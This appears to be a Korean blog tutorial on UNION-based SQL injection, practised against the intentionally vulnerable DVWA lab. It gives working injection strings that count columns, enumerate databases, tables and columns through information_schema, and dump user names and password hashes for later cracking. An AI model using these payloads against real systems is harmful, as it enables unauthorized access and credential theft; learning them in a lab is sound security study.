티스토리 뷰
Union sql injection은 Uinon 함수를 이용하여 원하고자 하는 정보를 조회하는데 사용된다. 예를 들어 select 절 Union select 절 처럼 두개의 조회 절을 합쳐서 출력하고자 할때 사용한다.
[WEB] DVWA 사이트를 이용한 Form SQL Injection
1. Form SQL Injection Form은 검색하려는 데이터를 입력하는 HTML의 구조이다. User ID에 1을 입력하면고 Submit을 누르면 http://서버IP/vulnerabilities/sqli/?id=1&Submit=Submit URL로 요청을 하게된다. 이..
techbrad.tistory.com
위에 글에 나와있는 대로 하자면
SELECT first_name, last_name FROM users WHERE user_id = '' union select 절 #' 이렇게 입력되어 union 다음에 오는 select 절을 실행하게끔 하는 것이다.
단, union은 두개의 select 절을 합치므로 컬럼 수를 동일하게 해야 오류없이 출력된다. 따라서 order by를 사용하여 현재 재 몇개의 컬럼이 조회 되는지 알아야한다.아래의 그림처럼 입력을 하게 되면 SELECT first_name, last_name FROM users WHERE user_id = '' oerder by 3#' 이러한 형태로 SQL이 되므로 3번째 컬럼을 조회하지 않아 오류창이 발생한다.


1. 데이터베이스 이름 조회하기
입력: ' UNION SELECT schema_name,2 from information_schema.schemata#

information_schema와 dvwa가 있다는 것을 알 수 있다.
2. dvwa 데이터베이스에 테이블 조회
입력: ' UNION SELECT table_name, 2 from information_schema.tables where table_schema='dvwa'#

guestbook, users 테이블이 있다는 것을 알 수 있다.
3. users 테이블 컬럼 조회
입력: ' UNION SELECT column_name,2 from information_schema.columns where table_schema='dvwa' and table_name='users'#

4. 유저 정보 조회하기
테이블과 컬럼 정보를 알고 있으니 유저 정보를 조회하기는 쉽다.
입력: ' UNION SELECT user, password from users #

계정과 해시화된 비밀번호를 손에 넣었으니 이후 패스워드 크래킹으로 유저들의 패스워드를 취득할 수 있게된다.
'Security > 어플리케이션' 카테고리의 다른 글
[WEB] DVWA 사이트를 이용한 CSRF 공격 실습 (0) | 2021.01.31 |
---|---|
[WEB] DVWA 사이트를 이용한 Form SQL Injection (0) | 2021.01.29 |
- Total
- Today
- Yesterday
- synflooding
- 정보보안
- springboot
- t검정
- Python
- LangChain
- 카카오페이면접후기
- 파이썬
- 백준
- linux
- 리눅스
- 우선순위큐
- 시간초과
- 딥러닝
- Ai
- 보안기사
- 카카오페이
- llm
- 프로그래머스
- FastAPI
- 정보보안기사
- t-test
- 그리디
- lightsail
- 보안
- java
- 자료구조
- 분산시스템
- 코딩테스트
- 다이나믹프로그래밍
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | ||
6 | 7 | 8 | 9 | 10 | 11 | 12 |
13 | 14 | 15 | 16 | 17 | 18 | 19 |
20 | 21 | 22 | 23 | 24 | 25 | 26 |
27 | 28 | 29 | 30 |